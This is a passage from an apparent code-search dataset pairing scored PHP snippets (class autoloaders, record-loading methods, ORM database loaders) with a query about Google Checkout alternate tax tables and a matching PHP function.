LatteModule::memoryLoad($module)->loadConnection();\n }\n }\n }", "title": "" }, { "docid": "e92d74073403c1912bf610f51f3d35d6", "score": "0.5640003", "text": "function __autoload($className) {\n//require_once dirname(__FILE__).\"/models/{$className}.php\";\n require_once dirname(__FILE__) . \"/baseClasses/{$className}.php\";\n}", "title": "" }, { "docid": "092650ab0d99d6fb673d8027d69184d2", "score": "0.56321627", "text": "public function _dbLoadIfNotLoaded() {\n\t\tif ($this->TDBMObject_state == \"not loaded\")\n\t\t{\n\t\t\t$sql_where = $this->getPrimaryKeyWhereStatement();\n\n\t\t\t$sql = \"SELECT * FROM \".$this->db_connection->escapeDBItem($this->db_table_name).\" WHERE \".$sql_where;\n\t\t\t$result = $this->db_connection->query($sql);\n\n\n\t\t\tif ($result->rowCount()==0)\n\t\t\t{\n\t\t\t\tthrow new TDBMException(\"Could not retrieve object from table \\\"$this->db_table_name\\\" with ID \\\"\".$this->TDBMObject_id.\"\\\".\");\n\t\t\t}\n\n\t\t\t$fullCaseRow = $result->fetchAll(\\PDO::FETCH_ASSOC);\n\t\t\t\n\t\t\t$result->closeCursor();\n\t\t\t\t\n\t\t\t$this->db_row = array();\n\t\t\tforeach ($fullCaseRow[0] as $key=>$value) {\n\t\t\t\t$this->db_row[$this->db_connection->toStandardCaseColumn($key)]=$value;\n\t\t\t}\n\t\t\t\n\t\t\t$this->TDBMObject_state = \"loaded\";\n\t\t}\n\t}", "title": "" }, { "docid": "ed9858877d7ba32bd23399ef276fdfea", "score": "0.5618328", "text": "protected abstract function load();", "title": "" }, { "docid": "b20476ae1318f3f8920b18e1165220e4", "score": "0.56039673", "text": "protected function before_load($type, $fields)\n\t{\n\t}", "title": "" }, { "docid": "c1b79b8e5a38efd395354067d6ddd4ac", "score": "0.5589012", "text": "public function extend_load_all($id_list,$some_fields=array()) {\n return DoggyX_Model_Mapper::load_model_list($id_list,$this,$some_fields);\n }", "title": "" }, { "docid": "3d7c57fabaf0434603a1aaa5f007af71", "score": "0.55824506", "text": "public function load()\n\t{\n\t\t$this->list_table->load();\n\t}", "title": "" }, { "docid": "dd7e5011ca573ebd01f4fdab59af466b", "score": "0.5565987", "text": "function oik_blocker_autoload() {\n\t$autloaded = false;\n\t$lib_autoload = oik_require_lib( \"oik-autoload\" );\n\tif ( $lib_autoload && !is_wp_error( $lib_autoload ) ) {\n\t\tadd_filter( \"oik_query_autoload_classes\" , \"oik_blocker_query_autoload_classes\" );\n\t\toik_autoload();\n\t\t$autoloaded = true;\n\t}\telse {\n\t\tbw_trace2( $lib_autoload, \"oik-autoload not loaded\", false );\n\t}\n\treturn $autoloaded;\n}", "title": "" }, { "docid": "0b618b17d27bd305dab7c05c2a816e87", "score": "0.5559627", "text": "function __autoload($className)\r\n{\r\n if( strstr($className, \"Model\")){\r\n require('../Model/'.$className.'.php');\r\n }\r\n else if($className == \"UserDataValidation\"){\r\n require('../Model/validation.php');\r\n }\r\n else{\r\n require('../classes/'.$className.'.php');\r\n }\t\r\n}", "title": "" }, { "docid": "319617f949289bf812410cc0715cd9f3", "score": "0.5558986", "text": "function __autoload($classname)\r\n{\r\n AutoloadPlug::autoload($classname);\r\n}", "title": "" }, { "docid": "e2ed3e0f1328f5e2f6c433ec3bd4a714", "score": "0.5554358", "text": "public function loadOnce() {\n\t\tif (!$this->loaded) {\n\t\t\t$this->load();\n\t\t}\n\t}", "title": "" }, { "docid": "794453ce6f482b9f10113d61ab824638", "score": "0.554451", "text": "abstract protected function load();", "title": "" }, { "docid": "794453ce6f482b9f10113d61ab824638", "score": "0.554451", "text": "abstract protected function load();", "title": "" }, { "docid": "794453ce6f482b9f10113d61ab824638", "score": "0.554451", "text": "abstract protected function load();", "title": "" }, { "docid": "794453ce6f482b9f10113d61ab824638", "score": "0.554451", "text": "abstract protected function load();", "title": "" }, { "docid": "794453ce6f482b9f10113d61ab824638", "score": "0.554451", "text": "abstract protected function load();", "title": "" }, { "docid": "1cd241db714eb0886e3e6f38f155138f", "score": "0.55279714", "text": "public function load() {\r\n\t\ttry {\r\n\t\t\tif ($this->loaded) {\r\n\t\t\t\t$this->checkAttributesColumnsExists();\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t\t$this->loadFromCache();\r\n\t\t\tif ($this->loaded) {\r\n\t\t\t\t$this->checkAttributesColumnsExists();\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\t$idColName = $this->getIdColName();\r\n\r\n\t\t\t// cannot load without idColName value\r\n\t\t\tif (strlen((string)$this->params[$idColName]) < 1) {\r\n\t\t\t\t$className\t= get_class($this);\r\n\t\t\t\tthrow new LBoxException(get_class($this). \": Cannot load Record without primary column value! ($idColName)\");\r\n\t\t\t}\r\n\r\n\t\t\t// do not pass query whithout WHERE\r\n\t\t\tif (count($this->getWhere()->getConditions()) < 1) {\r\n\t\t\t\tthrow new LBoxException(\"Cannot load record by \". get_class($this) .\" whithout where specification! Set id or other parameters for get ONE record from db.\");\r\n\t\t\t}\r\n\r\n\t\t\t$sql\t= $this->getQueryBuilder()->getSelectColumns($this->getClassVar(\"tableName\"), array(), $this->getWhere());\r\n\t\t\t$this->getDb()->setQuery($sql, true);\r\n// var_dump(__CLASS__ .\"::\". __LINE__ .\": \". $sql);\r\n\t\t\t$result = $this->getDb()->initiate();\r\n\t\t\tif ($result->getNumRows() < 1) {\r\n\t\t\t\t// $dbName = $this->getClassVar(\"dbName\");\r\n\t\t\t\t$paramString\t= \"\";\r\n\t\t\t\tforeach($this->params as $paramName => $paramValue) {\r\n\t\t\t\t\tif (strlen($paramString) > 0) {\r\n\t\t\t\t\t\t$paramString .= \", \";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$paramString .= \"$paramName = '$paramValue'\";\r\n\t\t\t\t}\r\n\t\t\t\tthrow new LBoxException(\"No such record in \". /*$dbName .\".\". */$this->getClassVar(\"tableName\") .\":\\n$paramString\\n\\nSQL:\\n$sql\");\r\n\t\t\t}\r\n\t\t\telseif ($result->getNumRows() > 1) {\r\n\t\t\t\tthrow new LBoxException(\"Query \\n$sql\\n returned more than one record. Could not be handled by AbstractRecord child. Use AbstractRecord<b>s</b> child, or be more specific set values!\");\r\n\t\t\t}\r\n\t\t\t$this->params = $result->get(\"*\");\r\n\t\t\t$this->checkAttributesColumnsExists();\r\n\t\t}\r\n\t\tcatch(Exception $e) {\r\n\t\t\tthrow $e;\r\n\t\t}\r\n\t\t$this->passwordChanged = false;\r\n\t\t$this->setSynchronized(true);\r\n\t\t$this->loaded\t\t\t= true;\r\n\t}", "title": "" }, { "docid": "94f2f437d1481c19cea10e6a27ba0aa6", "score": "0.5525873", "text": "protected function preLoad($id) {\n }", "title": "" }, { "docid": "02efe95fd933ba361256264417549154", "score": "0.5518868", "text": "public function load(){}", "title": "" }, { "docid": "b21b54eaaede860bda7da9a19a245ec2", "score": "0.5517295", "text": "abstract public function loadModel();", "title": "" }, { "docid": "1427a39fb38c3483643b52c92cd23963", "score": "0.55144435", "text": "function __autoload($class_name) \n{\n\tif ($class_name == \"smarty\")\n\t{\n\t\trequire_once \"smarty/Smarty.class.php\";\n\t\treturn;\n\t}\n\t\n require_once \"model/\". $class_name .'.php';\n}", "title": "" }, { "docid": "ef1ae4853d936a9eaa1f287699b1cd03", "score": "0.5512905", "text": "protected function load()\n {\n\n $where = ' and tag.m_deleted is null ';\n\n if( !$this->multiLingual )\n {\n $where .= ' and tag.id_lang = '.Controller::activLang();\n }\n\n if( $this->vid )\n {\n $where .= ' and ref.vid = '.$this->vid;\n }\n\n if( $this->justUser )\n {\n $where .= ' and ref.m_created = '.$this->vid;\n }\n\n $sql = 'SELECT\n tag.rowid as tag_id,\n tag.tagname,\n ref.rowid as ref_id,\n entity.rowid as entity_id\n from chinou_tag tag\n join chinou_tag_reference ref on tag.rowid = ref.id_tag\n join chinou_entity entity on ref.id_entity = entity.rowid\n where entity.name = \\''.$this->entity.'\\' '.$where.'\n order by tag.tagname ';\n\n\n\n }", "title": "" }, { "docid": "6f31cfda26a86f403201c5a7abb03cfa", "score": "0.5512619", "text": "public abstract function load();", "title": "" }, { "docid": "45da5f807c82a79531c1e0185bfdfad2", "score": "0.55122334", "text": "protected function loadFromCache() {\r\n\t\ttry {\r\n\t\t\tif (!$this->isCacheOn()) return;\r\n\t\t\tif (!$this->isInCache()) {\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n//var_dump(\"loaduju z cache\");\r\n\t\t\t$idColName\t= $this->getClassVar(\"idColName\");\r\n\t\t\tif (count($data = LBoxCacheAbstractRecord::getInstance($this->getClassVar(\"tableName\"), $this->params[$this->getClassVar(\"idColName\")], self::getCacheGroup())->getData()) > 0) {\r\n\t\t\t\tif ($data[$idColName] == $this->params[$idColName]) {\r\n\t\t\t\t\tif (array_key_exists(\"systemrecord_haschildren\", $data)) {\r\n\t\t\t\t\t\t$this->hasChildren\t= (bool)$data[\"systemrecord_haschildren\"];\r\n\t\t\t\t\t\tunset($data[\"systemrecord_haschildren\"]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (array_key_exists(\"systemrecord_istree\", $data)) {\r\n\t\t\t\t\t\tself::$isTree[$className]\t= (bool)$data[\"systemrecord_istree\"];\r\n\t\t\t\t\t\tunset($data[\"systemrecord_istree\"]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tunset($data[\"sql\"]);\r\n\t\t\t\t\t$this->params\t= $data;\r\n\t\t\t\t\t$this->passwordChanged \t= false;\r\n\t\t\t\t\t$this->synchronized \t= true;\r\n\t\t\t\t\t$this->isCacheSynchronized\t= true;\r\n\t\t\t\t\t$this->loaded \t\t\t= true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcatch (Exception $e) {\r\n\t\t\tthrow $e;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "62766647785dc13f873ebb40e2d55349", "score": "0.55004084", "text": "function loadType() { return NOLOAD; }", "title": "" }, { "docid": "3d0718a7caf707b52a938c1a45bcefb8", "score": "0.5491928", "text": "public static function preLoad(string $fQCN, string $primaryKey): void;", "title": "" }, { "docid": "eea9575be64125383c581c93c4fee9de", "score": "0.54879504", "text": "function __autoload( $className )\n{\n\n // compose file name for model\n $file = SERVER_ROOT . 'models/' . $className . 'Model.php';\n // fetch file\n if ( file_exists( $file ))\n {\n // get file\n include_once( $file );\n }\n else\n {\n // file does not exist!\n die(\"File '$file' containing class '$className' not found.\");\n }\n}", "title": "" }, { "docid": "ed9e0828dd64afd79ae418f81afea0ac", "score": "0.54743", "text": "function __autoload($class_name) {\r\n $filename = strtolower($class_name) . '.class.php';\r\n $file = __SITE_PATH . '/model/' . $filename;\r\n\r\n if (file_exists($file) == false)\r\n {\r\n return false;\r\n }\r\n include ($file);\r\n}", "title": "" }, { "docid": "462be9082e805658a8851c2b54cedd1d", "score": "0.5467487", "text": "public static function generic_load($pk_fields, $key, $cache = false){\n //echo \"<hr> load model generic \";\n //var_dump(func_get_args());\n //debug_print_backtrace();\n if (isset (static::$loaded[$key]))\n {\n return static::$loaded[$key];\n }\n\n $from_xml = static::loadXML($key);\n if (false !== $from_xml)\n {\n return $from_xml;\n }\n $array = static::generic_prepare($pk_fields, $key, $cache);\n if (count ($array) > 0)\n return $array[0];\n return NULL;\n }", "title": "" }, { "docid": "022df27cc57c85edd5b411eabb1ad903", "score": "0.5464784", "text": "function __autoload($class_name) {\r\n \r\n }", "title": "" }, { "docid": "86e4f2e55bd15e87ecb3cd64c62ec423", "score": "0.5461761", "text": "protected function Load()\n {\n }", "title": "" }, { "docid": "f018c3c46682ebeb88f2cf77eeba5640", "score": "0.5457567", "text": "private function autoload()\n\t{\n\t\t$autoload\t= $this->config->get_item('autoload');\n\t\t$core\t\t= $autoload['core'];\n\t\t\n\t\tif(!empty($core)){\n\t\t\tforeach($core as $class){\n\t\t\t\t$path = \"\\\\SmallMVC\\\\\" . $class;\n\t\t\t\t$this->{$class} = new $path;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "9c8c75530b9227453290eac806f5d10c", "score": "0.54290223", "text": "function autoload() {\n\t// gets values stored in configuration\n\t$autoload_files = get_config('autoload_files');\n\tforeach ($autoload_files as $file) {\n\t\tinclude_once $file;\n\t}\n}", "title": "" }, { "docid": "221079357d3259c151b50e5010a63479", "score": "0.5418068", "text": "abstract public function load();", "title": "" }, { "docid": "221079357d3259c151b50e5010a63479", "score": "0.5418068", "text": "abstract public function load();", "title": "" }, { "docid": "9aaa659ac66891f50dda5afa65e0ec8c", "score": "0.5411557", "text": "protected function afterLoadingDatabase() { }", "title": "" }, { "docid": "50d0e6608b4f7b6a2b565b6ae2a59b9f", "score": "0.54093975", "text": "function load($id = null) {\t\t\n\t\tif($id != null) {\n\t\t\t$this->id = $id;\n\t\t}\n\t\t\n\t\tif($this->table_name == $this->base_table_name) {\n\t\t\t$this->load_query(PAYMENT_SQL_LOAD, array($this->id));\n\t\t} else {\n\t\t\t$this->load_query(PAYMENT_EXTENDED_SQL_LOAD, \n\t\t\t\t\t\t\t array($this->table_name, $this->id));\n\t\t}\t\t\n\t}", "title": "" }, { "docid": "96fedb07571e87cb1c63a539fa71822b", "score": "0.5407508", "text": "public function ExecureBeforeLoadList() {\r\n\t\t\r\n\t}", "title": "" }, { "docid": "cc98e066139a9e9b19e703ecc892a42a", "score": "0.5402897", "text": "public function enablePartialLoad()\n {\n unset($this->items[self::DISABLE_PARTIAL_LOAD]);\n }", "title": "" }, { "docid": "55209c90ec41b3e5ecd8f8a9e64a1ece", "score": "0.53944534", "text": "protected function loadCustomModels() { \n }", "title": "" }, { "docid": "ddca4f2272e719045f3a0f928c1dd97f", "score": "0.53861135", "text": "function load() {\n if($this->prepareLoadQuery()) {\n \t\n \t\n $this->id = $this->bolestRow[\"id\"];\n $this->name \t\t= $this->bolestRow[\"title\"];\n $this->body \t\t= $this->bolestRow[\"body\"];\n $this->has_pic \t= $this->bolestRow[\"has_pic\"];\n $this->discovered_on = $this->bolestRow[\"discovered_on\"];\n $this->source \t\t= $this->bolestRow[\"source\"];\n $this->autor_type \t= $this->bolestRow[\"autor_type\"];\n $this->autor \t\t= $this->bolestRow[\"autor\"];\n $this->date \t\t\t= $this->bolestRow[\"date\"];\n $this->userID\t\t\t= $_SESSION['userID'];\n \n \n \n }\n }", "title": "" }, { "docid": "adabfe175f01c6593ae08ddbb4ca1422", "score": "0.5379437", "text": "public function setAutoload(array $autoload): void\n {\n $this->autoload = $autoload;\n }", "title": "" }, { "docid": "45e1c003187d0aba9ea333769d0ee4fe", "score": "0.53744006", "text": "function load(){\r\n\t\t$db=Factory::getDB();\r\n\t\tFactory::debug(\"loading object\");\r\n\t\t$db->loadObject($this);\r\n\t\tFactory::debug_r($this);\r\n\t}", "title": "" }, { "docid": "b94b5ba15bb22750bd8cd8726e64c26a", "score": "0.5363409", "text": "function __autoload($class_name){include CORE . 'classes/' . $class_name .'.php';}", "title": "" }, { "docid": "61ece54db0f337fcd0c64e34d52709c6", "score": "0.53584063", "text": "function autoload($class) {\n // so we convert the class name to a filepath\n // by replacing backslashes with forward slashes\n // because on linux file paths use forward slashes\n // then we add .class.php to the end\n // so if $class = models\\DB\n // then $path = models/DB.class.php\n $path = str_replace(\"\\\\\", \"/\", $class) . \".class.php\";\n // here we include the file in our script\n require_once $path;\n}", "title": "" }, { "docid": "4cd8dc20c05bf0cb037fb4b6022e15ca", "score": "0.535466", "text": "public function load() {}", "title": "" }, { "docid": "c688198de011eab2967c8c27926cbe37", "score": "0.5350721", "text": "function __autoload($class) {\r\n\tif ($class == 'ProfileUser') {\r\n\t\t$class = 'User';\r\n\t}\r\n\tif ($class == 'PublicProposedDate') {\r\n\t\t$class = 'BadmintonDate';\r\n\t}\r\n\tif (($class == 'Message') || ($class == 'Conversation')) {\r\n\t\t$class = 'WebMessage';\r\n\t}\r\n\trequire_once $_SERVER['DOCUMENT_ROOT'] . \"/includes/$class.php\";\r\n}", "title": "" }, { "docid": "8194b48832b4612e84fcfa811e5ef606", "score": "0.5349987", "text": "static function onAutoload(){\n $type = new CHOQ_DB_Type(__CLASS__);\n $type->createMember(\"username\")->setFieldType(\"varchar\")->setLength(30)->addUniqueIndex();\n $type->createMember(\"salt\")->setFieldType(\"char\")->setLength(128);\n $type->createMember(\"password\")->setFieldType(\"char\")->setLength(128);\n $type->createMember(\"role\")->setFieldType(\"tinyint\")->setLength(1);\n $type->createMember(\"settings\")->setFieldType(\"array\", \"text\")->setOptional(true);\n $type->createMember(\"saved\")->setFieldType(\"array\", \"int\")->setOptional(true);\n $type->createMember(\"readed\")->setFieldType(\"array\", \"int\")->setOptional(true);\n }", "title": "" }, { "docid": "c81331d5843db3927a05bd2008dbcb03", "score": "0.5341765", "text": "public function loadData();", "title": "" }, { "docid": "796800216b2ccd266b7567541bd97efe", "score": "0.53411484", "text": "public function load(): void\n {\n }", "title": "" }, { "docid": "5e405cf2017d0437c9be679452952e52", "score": "0.53401226", "text": "private function load_data(){\n\n\t}", "title": "" }, { "docid": "ea71ca854c544e9be6476abd55c44a7d", "score": "0.5336108", "text": "public function load()\n {\n }", "title": "" }, { "docid": "dc13ba3de421fd752cd1139e7c53a05e", "score": "0.5332461", "text": "protected function loadFromDatabase()\n {\n // Prepare sql and load data\n $sql = 'SELECT * FROM {sql:tableName} WHERE {sql:primaryKey} = {primaryValue}';\n $this->data = $this->db->get_row(Strings::prepareSql($sql, array(\n 'tableName' => $this->table,\n 'primaryKey' => $this->primaryKey[0],\n 'primaryValue' => $this->id\n )), ARRAY_A);\n\n // Decode json fields\n foreach ($this->data as $key => $value) {\n if (in_array($key, $this->jsonFields)) {\n $this->data[$key] = json_decode($value, true);\n if ($this->data[$key] === NULL) {\n $this->data[$key] = array();\n }\n }\n }\n\n // Run possible user conversion\n $this->afterLoadingDatabase();\n }", "title": "" }, { "docid": "2bac52e3962b36b0366236425e77cc70", "score": "0.53256804", "text": "protected function postLoad($row) { \n }", "title": "" }, { "docid": "bad13de04d7f894a29f79026468644aa", "score": "0.5325532", "text": "public function load_includes() {\n\n\t}", "title": "" }, { "docid": "29a3cf6ec0ffad6b5fe9ae3200f1d10e", "score": "0.5320659", "text": "abstract public function loadDetails();", "title": "" }, { "docid": "56b28ca7691aaeff919fb69bb78a6ae9", "score": "0.5319934", "text": "public function load();", "title": "" }, { "docid": "56b28ca7691aaeff919fb69bb78a6ae9", "score": "0.5319934", "text": "public function load();", "title": "" }, { "docid": "56b28ca7691aaeff919fb69bb78a6ae9", "score": "0.5319934", "text": "public function load();", "title": "" }, { "docid": "56b28ca7691aaeff919fb69bb78a6ae9", "score": "0.5319934", "text": "public function load();", "title": "" }, { "docid": "56b28ca7691aaeff919fb69bb78a6ae9", "score": "0.5319934", "text": "public function load();", "title": "" }, { "docid": "10a52db4c288e3f9803eb7614df101c3", "score": "0.53197706", "text": "function __autoload($class_name)\n{\n\n\t//List of path where have and need Objects\n $array_paths = array('models/','components/','controllers/','functions/');\n\n\n //Loop of all file which we need\n foreach ($array_paths as $path) {\n\n \t//Full Path to File\n $path = P . $path . $class_name . '.php';\n\n //include File\n if (is_file($path)) {include_once $path;}\n }\n //endLoop\n\n}", "title": "" }, { "docid": "73c078a860058fa7d511f9dbae27ec88", "score": "0.53134054", "text": "function __autoload($class_name){\n\t\tinclude $class_name.'.php';\n\t}", "title": "" }, { "docid": "bf2303197735a6fb435ba80dd062ecf2", "score": "0.5308689", "text": "function __autoload($class_name) {\n\n$filename = strtolower($class_name) . '.php';\n$file = site_path.'core'.DS . $filename;\n//echo site_path.DS.'classes'.DS . $filename;\n\nif (file_exists($file) == false) {\n\nreturn false;\n\n}\n\ninclude ($file);\n\n}", "title": "" }, { "docid": "6142afa16bbcccb8804fc68797e50bc9", "score": "0.5307759", "text": "function __autoload($class_name) {\r\n if ($class_name == 'API') require_once 'api.php';\r\n else{\r\n if (file_exists(\"modules/\".$class_name.'.php')){\r\n require_once \"modules/\".$class_name.'.php';\r\n }\r\n }\r\n}", "title": "" }, { "docid": "f24eedf7956a16f35533fbb821a43798", "score": "0.5304181", "text": "function __autoload($class)\r\n{\r\n$class=strtolower($class);\r\n$filename = \"../sys/class/class.\" . $class . \".php\";\r\nif ( file_exists($filename) )\r\n{\r\ninclude_once $filename;\r\n}\r\n}", "title": "" }, { "docid": "f050b16a98dd477270a237a62f37482a", "score": "0.5303211", "text": "abstract protected function load($id);", "title": "" }, { "docid": "0f770144ffa0dc24b0927ec8031ef3c8", "score": "0.52958775", "text": "public function loadMapping()\n {\n\n $orm = $this->getOrm();\n $key = md5(json_encode($this->cols));\n \n $settings = $orm->get(\n 'SyncImportSettings',\n \" id_import IN( SELECT rowid from sync_import sync where UPPER(sync.access_key) = UPPER('{$this->importKey}') ) \n AND UPPER(access_key) = UPPER('{$key}') \" \n );\n \n if($settings){\n $this->mapping = (array)json_decode($settings->jdata);\n }\n \n }", "title": "" }, { "docid": "9a51b77d243564dcb91f6002830eacca", "score": "0.5293159", "text": "public function load()\n {\n $sql = \"select * from REVISION where ID_REVISION=\" . $this->getID();\n if (($this->getID()>0) && ($row = $this->dbh->query($sql)->fetch(PDO::FETCH_ASSOC))) {\n $this->setFields($row);\n } else {\n $this->_idtf = -1;\n $this->setFields(array ());\n }\n }", "title": "" }, { "docid": "8f427c7dbacb9e73d86a46d280da03d2", "score": "0.52926993", "text": "private function Load(){ }", "title": "" }, { "docid": "83e4ece1c5ae80a4da253d207cc85060", "score": "0.528203", "text": "function __dm_autoload( $name )\n{\n\t$map = array();\n\tif ( isset( $map[ $name ] ) )\n\t{\n\t\trequire $map[ $name ];\n\t}\n}", "title": "" }, { "docid": "2df498650bc817c57564e4467b2d750d", "score": "0.52754277", "text": "function __autoload($className)\n{\n // Analisar o nome do arquivo onde a classe deve estar localizada\n // A forma como esta suporta nomes como 'Examplo_Model', 'Examplo_Segundo_Model'\n list($suffix, $filename) = preg_split('/_/', strrev($className), 2);\n $filename = strrev($filename);\n $suffix = strrev($suffix);\n\t\n\t//compoe o nome de arquivo, se for uma view, primeiro tem que ter o include da system/core/view.php para gera-las\n\t//qualquer outra coisa, model, library, deve ser tratado nas proximas linhas \n\tif(preg_match(\"/\\bview\\b/\",strtolower($filename)))\n\t{\n\t $file = SERVER_ROOT . DS . 'system' . DS . 'core' . DS . strtolower($filename) . '.php';\n\t}\n\t\n\t//otherwise the required class from application will be loaded\n\tif(!preg_match(\"/\\bview\\b/\",strtolower($filename)))\n\t{\n\t switch (strtolower($suffix))\n\t {\n\t \tcase 'model':\n\t \n\t \t $folder = DS .'app' . DS . 'models' . DS;\n\t \n\t \t break;\n\t \n\t \tcase 'library':\n\t \n\t \t $folder = DS . 'system' . DS . 'libraries' . DS;\n\t \n\t \t break;\n\t \n\t \tcase 'driver':\n\t \n\t \t $folder = DS . 'system' . DS . 'libraries' . DS . 'drivers' . DS;\n\t \n\t \t break;\n\t }\n\t $file = SERVER_ROOT . $folder . DS . strtolower($filename) . '.php';\n\t}\n\n\tif (file_exists($file))\n\t{\n\t\t//finalmente inclui\n\t\tinclude_once($file);\t\t\n\t}\n\t\n\tif(!file_exists($file))\n\t{\n\t\t//em caso de problema\n\t\tdie(\"Arquivo '$filename' contendo a classe '$className' não foi encontrado.\");\t\n\t}\n}", "title": "" }, { "docid": "abb318b3dfa0c9e79ca711d488febbc1", "score": "0.5273609", "text": "function __autoload($className) {\n\n $invalidChars = array(\n '.', '\\\\', '/', ':', '*', '?', '\"', '<', '>', \"'\", '|'\n ); \n $className = str_replace($invalidChars, '', $className);\n $path = ABSOLUTE_PATH .'/models/';\n $filename = $path .$className . '.php';\n if ( file_exists($filename) ) {\n require_once $filename;\n }\n}", "title": "" }, { "docid": "57a9222c8b7ed3b287a88e4c91f289f3", "score": "0.52690786", "text": "public function LoadRecords()\n {\n \t$this->admin_users_records = $this->GetUsersRecords();\n }", "title": "" }, { "docid": "9c52cd7e04a6595abc8ba20f6f29c341", "score": "0.52660984", "text": "public function clearAllAutoCallbacksAfterFieldRegistration() {\r\n\t\t$className = $this->getLoadingClassName();\r\n\t\t$this->autoCallbacksAfterFieldRegistration[$className] = array();\r\n\t}", "title": "" }, { "docid": "9114211bb013e47356ece5216e0ad8f1", "score": "0.52601385", "text": "function __autoload($class_name)\r\n{\r\n\t\t//\r\n\t\tif (!class_exists($class_name) )\r\n\t\t{\r\n\t\t\t$class_name = str_replace(\"\\\\\",\"/\",$class_name);\r\n\t\t\t\r\n\t\t\tif ( file_exists(QOO_ROOT.'libraries/'.$class_name.'.php') )\r\n\t\t\t\trequire_once(QOO_ROOT.'libraries/'.$class_name.'.php');\r\n\t\t\telse {\r\n\t\t\t\techo \"<b>QOO::ERROR</b> Class $class_name could not be loaded because the required file <b>\".QOO_ROOT.'libraries/'.$class_name.'.php'.\"</b> does not exist.<br>\";\r\n\t\t\t\tdie();\r\n\t\t\t\t}\r\n\t\t}\r\n}", "title": "" }, { "docid": "9511c67de0959027687edf979a545b09", "score": "0.52539515", "text": "function load($id = 0){\n\t\tif($id){\n\t\t\t$this->ID = intval($id);\n\t\t}\n\t\tif(!$this->ID){\n\t\t\treturn false;\n\t\t}\n\t\t$tableInfo = $this->db->metadata($this->table);\n\t\t$hash = getHash('SELECT * FROM ' . $this->db->escape($this->table) . ' WHERE ID=' . intval($this->ID), $this->db);\n\t\tif($hash){\n\t\t\tforeach($tableInfo as $cur){\n\t\t\t\t$fieldName = $cur['name'];\n\t\t\t\tif(isset($this->persistents[$fieldName])){\n\t\t\t\t\t$this->$fieldName = $hash[$fieldName];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "e1c64dba0c8306b85ba216878576d798", "score": "0.5253852", "text": "public function reload()\r\n\t{\r\n\t\tparent::reload();\r\n\t\tO_Dao_TableInfo::get( $this->baseClass )->getFieldInfo( $this->baseField )->reload( \r\n\t\t\t\t$this->baseId );\r\n\t}", "title": "" }, { "docid": "9d575caba664ec383a60a03072ad2417", "score": "0.52427036", "text": "public function reload()\r\n\t{\r\n\t\tparent::reload();\r\n\t\tO_Dao_TableInfo::get( $this->baseClass )->getFieldInfo( $this->baseField )->reload(\r\n\t\t\t\t$this->baseId );\r\n\t}", "title": "" }, { "docid": "d1cbd23ce26011be2679db9e19eeab2b", "score": "0.52401364", "text": "function __autoloadModels($class_name) \n\t{\n\t\n\t\n \trequire_once APPLICATION_PATH.'/models/'.$class_name . '.php';\n\t}", "title": "" }, { "docid": "12915f3088bac3d087c29fd6770fc1b0", "score": "0.5236903", "text": "function __autoload($class){\r\n\t$class = strtolower($class);\r\n\tif(file_exists('core/'.$class.'.php')){\r\n\t\tinclude('core/'.$class.'.php');\r\n\t}\r\n\tif(file_exists('controller/'.$class.'.php')){\r\n\t\tinclude_once('controller/'.$class.'.php');\r\n\t}\r\n\tif(file_exists('model/'.$class.'.php')){\r\n\t\tinclude_once('model/'.$class.'.php');\r\n\t}\r\n}", "title": "" }, { "docid": "36cd32f416896f0095186a6bc78172af", "score": "0.5235257", "text": "function __autoload($className){\n\t\tif(file_exists('_core' . DS . strtolower($className) . '.php')){\n\t\t\trequire_once('_core' . DS . strtolower($className) . '.php');\n\t\t}else if (file_exists('_application' . DS . 'controllers' . DS . strtolower($className) . '.php')) { \n\t\t\trequire_once('_application' . DS . 'controllers' . DS . strtolower($className) . '.php'); \n\t\t}else if (file_exists('_application' . DS . 'models' . DS . $className . '.php')) {\n\t\t\trequire_once('_application' . DS . 'models' . DS . $className . '.php'); \n\t\t}else if (file_exists('_core' . DS . 'PDO.php')) { \n\t\t\trequire_once('_core' . DS . 'PDO.php'); \n\t\t}else{\n\t\t\ttry{\n\t\t\trequire_once('_application' . DS . 'controllers' . DS . 'error' . '.php'); \n\t\t\t}catch(Exception $e){\n\t\t\t\tbreak;\t\n\t\t\t}\n\t\t}\n\t\t\n\t}", "title": "" } ]
4b7f3459c1fef8cf9a587c042fd08fbb
The tag identifies an alternate tax table that should be used to calculate tax for a particular item. The value of the tag should correspond to the value of the name attribute of an alternatetaxtable.
[ { "docid": "f73fa6bed8edbdcb5430cc4f268786b4", "score": "0.4236376", "text": "public function tax_table($value)\n\t{\n\t\t$this->tax_table = (string) $value;\n\n\t\treturn $this;\n\t}", "title": "" } ]
[ { "docid": "bf41be8c15760de180abaab80b5c037c", "score": "0.5585369", "text": "function CreateAlternateTaxTable($standalone, $name) {\n\n global $dom_alt_tax_rules_obj, $dom_alt_tax_tables_obj;\n\n /*\n * There must be at least one alternate tax rule to include\n * in the <alternate-tax-table>. This tax table will include\n * any <alternate-tax-rule> elements that were created since\n * after the last call to the CreateAlternateTaxTable function.\n */\n if ($dom_alt_tax_rules_obj == \"\") {\n trigger_error(\"You must have at least one alternate tax rule.\", \n E_USER_ERROR);\n }\n\n // Check for errors\n $error_function_name = \"CreateAlternateTaxTable()\";\n \n /*\n * You must specify values for the $standalone and $name parameters\n */\n CheckForError($GLOBALS[\"mp_type\"], $error_function_name, \n \"standalone\", $standalone);\n CheckForError($GLOBALS[\"mp_type\"], $error_function_name, \n \"name\", $name);\n\n // Create the <alternate-tax-rules> object\n $dom_alt_tax_rules_obj->append_child(\n $dom_alt_tax_rules_obj->create_element(\"alternate-tax-rules\"));\n\n // Create the <alternate-tax-table> element\n $dom_alt_tax_table_obj = domxml_new_doc(\"1.0\");\n $dom_alt_tax_table = $dom_alt_tax_table_obj->append_child(\n $dom_alt_tax_table_obj->create_element(\"alternate-tax-table\"));\n\n // Add attributes for the $standalone and $name values\n $dom_alt_tax_table->set_attribute(\"standalone\", $standalone);\n $dom_alt_tax_table->set_attribute(\"name\", $name);\n\n /*\n * Add the <alternate-tax-rules> element as \n * a child element of 